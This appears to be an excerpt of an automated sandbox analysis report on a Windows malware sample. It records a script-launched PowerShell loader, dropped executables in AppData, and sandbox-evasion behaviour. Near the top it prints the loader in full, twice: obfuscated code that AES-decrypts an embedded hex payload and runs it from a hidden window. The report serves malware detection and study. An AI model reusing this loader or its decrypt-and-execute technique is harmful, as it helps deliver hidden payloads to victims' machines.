Anti Malware Scan Interface: CreateTextFile("Z:\syscalls\8252.js.csv");ITextStream.WriteLine(" entry:9113 f:eval a0:%22function%20rZNXxq(ibycEi)%7Bvar%20oRfIk%3D%20%22%22%3Bfor%20(var%20LaozjU%20%3D%200%3BLaozjU%20%3C%20ibycEi.length%3B%20LaozjU%2B%2B)%7Bvar%20XibJZ%20%3D%20String.fromCharCode(ibycEi%5BLaozjU%5D%20-%2");IWshShell3.Run("powershell.exe -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -sp", "0", "true")

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFE7D1E00BD pushad ; iretd	8_2_00007FFE7D1E00C1
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00401068 push ebp; iretd	14_2_0040106E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004010B4 push ss; ret	14_2_004010B5
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_0040D099 push ecx; ret	14_2_0040D0AC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00483001 push es; iretd	14_2_00483002
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004828C1 push ebp; iretd	14_2_004828C7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00484883 push ebx; ret	14_2_00484889
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_0048290D push ss; ret	14_2_0048290E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00489323 push esi; retf	14_2_00489324
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00486D99 push ds; ret	14_2_00486DAC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004F111B push ss; ret	14_2_004F111C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004F10CF push ebp; iretd	14_2_004F10D5
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004F18DC push es; iretd	14_2_004F18DD
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00401068 push ebp; iretd	21_2_0040106E
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004010B4 push ss; ret	21_2_004010B5
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_0040D099 push ecx; ret	21_2_0040D0AC
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00553001 push es; iretd	21_2_00553002
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_005528C1 push ebp; iretd	21_2_005528C7
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00554883 push ebx; ret	21_2_00554889
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_0055290D push ss; ret	21_2_0055290E
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00559323 push esi; retf	21_2_00559324
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00556D99 push ds; ret	21_2_00556DAC
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_0072111B push ss; ret	21_2_0072111C
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_007218DC push es; iretd	21_2_007218DD
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_007210CF push ebp; iretd	21_2_007210D5

Source: putty.exe.8.dr	Static PE information: section name: .text entropy: 7.689851588772987
Source: therfaa.20.dr	Static PE information: section name: .text entropy: 7.689851588772987

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\therfaa			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\putty.exe			Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\therfaa

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\therfaa:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\putty.exe	API/Special instruction interceptor: Address: 7FFEFE52E814
Source: C:\Users\user\AppData\Roaming\putty.exe	API/Special instruction interceptor: Address: 7FFEFE52D584
Source: C:\Users\user\AppData\Roaming\therfaa	API/Special instruction interceptor: Address: 7FFEFE52E814
Source: C:\Users\user\AppData\Roaming\therfaa	API/Special instruction interceptor: Address: 7FFEFE52D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: therfaa, 00000015.00000002.1743523069.000000000079E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK~

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4543	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5305	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 424	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1120	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 680	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3726	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 519	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 511	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7220	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7676	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7688	Thread sleep count: 424 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1212	Thread sleep count: 1120 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1212	Thread sleep time: -112000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7608	Thread sleep count: 680 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7608	Thread sleep time: -68000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 664	Thread sleep count: 294 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5400	Thread sleep count: 319 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5400	Thread sleep time: -31900s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2388	Thread sleep count: 282 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1212	Thread sleep count: 3726 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1212	Thread sleep time: -372600s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

